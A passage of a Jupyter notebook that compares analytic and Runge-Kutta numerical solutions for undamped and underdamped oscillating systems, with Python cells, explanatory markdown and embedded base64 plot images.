uCQV7vcDNh/YPM32wvFuJ4GZdNNX\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10fb5b810>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "xa, Ya = rungekutta(natural(wn, qsi), y0, tf=5)\n", "xb = np.arange(0,5,0.01)\n", "Yb = undampedAnalyticSolution(xb, y0, wn)\n", "plt.plot(xb, Ya[:,0]-Yb)\n", "plt.title('Undamped System (analytic - numerical solutions)')\n", "plt.xlabel('t')\n", "plt.ylabel('residual')\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can see that the errors in the numerical approximation are adding up along time." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Notes\n", "- The natural response of the undamped System is a simple harmonic motion with an amplitude of $\\sqrt{y(0)^2 + \\frac{y'(0)}{w_n}^2}$ . For the numerical example we used $A=\\sqrt{2.05}$;\n", "\n", "- As stated before, the analytic method may not be possible to use when in case there is no closed form solution, thus the approximation using the numeric method is generally used as it works for any ODE, but it accumulates errors, as shown before;\n", "\n", "- In case the transfer function has two complex conjugated poles located in the $Im$ axis of the complex plan (no real part). Then $y_h(t)=L^{-1} (G(s))$ is a linear combination of two complex exponential functions having only pure imaginary symmetric numbers and, applying the Euler’s formula, the expected solution was an harmonic response. The analytical solution and the numerical integration confirmed this prevision. \n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "##Underdamped System\n", "A System is underdamped when $0 < \\xi < 1$. Lets set $\\xi = 0.05$\n", "\n", "In this case the roots of the characteristic equation are 2 complex conjugated numbers, that is to say, in the Laplace transform method, the transfer function has two complex conjugated poles in the 3th and 4th quadrants of the complex plane. Then $y_h (t)=L^{-1} (G(s))$ is a linear combination of two complex exponential functions having conjugated exponents. Then common real exponential part multiplies an expression with the same form of the previous case. So the expected solution was an harmonic response but with a decreasing amplitude. The analytical solution and the numerical integration will confirm this prevision.\n", " \n", "The analytical solution with the constants calculated from the initial conditions is given by:\n", "\n", "$$y(t)=Ae^{-ξw_n t} cos⁡(w_d t-ϕ)$$\n", "\n", "where:\n", "\n", "- $w_d=w_n \\sqrt{1-ξ^2}$ is the damped natural frequency\n", "\n", "- $A=\\sqrt{\\frac{y'(0)+ξw_n y(0)}{w_d}+y(0)^2}$ is a constant calculated from the initial conditions.\n", "\n", "- $ϕ=\\tan^{-1}\\frac{y'(0)+ξw_n y(0)}{w_d y(0)}$ is the phase angle\n", "\n", "As this analytical solution shows, the underdamped System has the interesting property of being enveloped by $env(t)=Ae^{-ξw_n t}$, the upper envelope, and $-env(t)$, the lower envelope. \n", "\n", "To compare the analytical solution with the numerical one, in the next plot the numerical solution is in blue and the envelope of the analytical one is in gray, which is implemented as follows: \n" ] }, { "cell_type": "code", "execution_count": 24, "metadata": { "collapsed": true }, "outputs": [], "source": [ "qsi=0.05" ] }, { "cell_type": "code", "execution_count": 25, "metadata": { "collapsed": false }, "outputs": [], "source": [ "A = np.sqrt(np.power((y0[1]+qsi*wn*y0[0]) / (wn * np.sqrt(1-np.power(qsi,2))), 2) + np.power(y0[0],2))\n", "envelope = lambda x : A * np.exp(-qsi*wn*x)" ] }, { "cell_type": "code", "execution_count": 26, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nEeE6nN1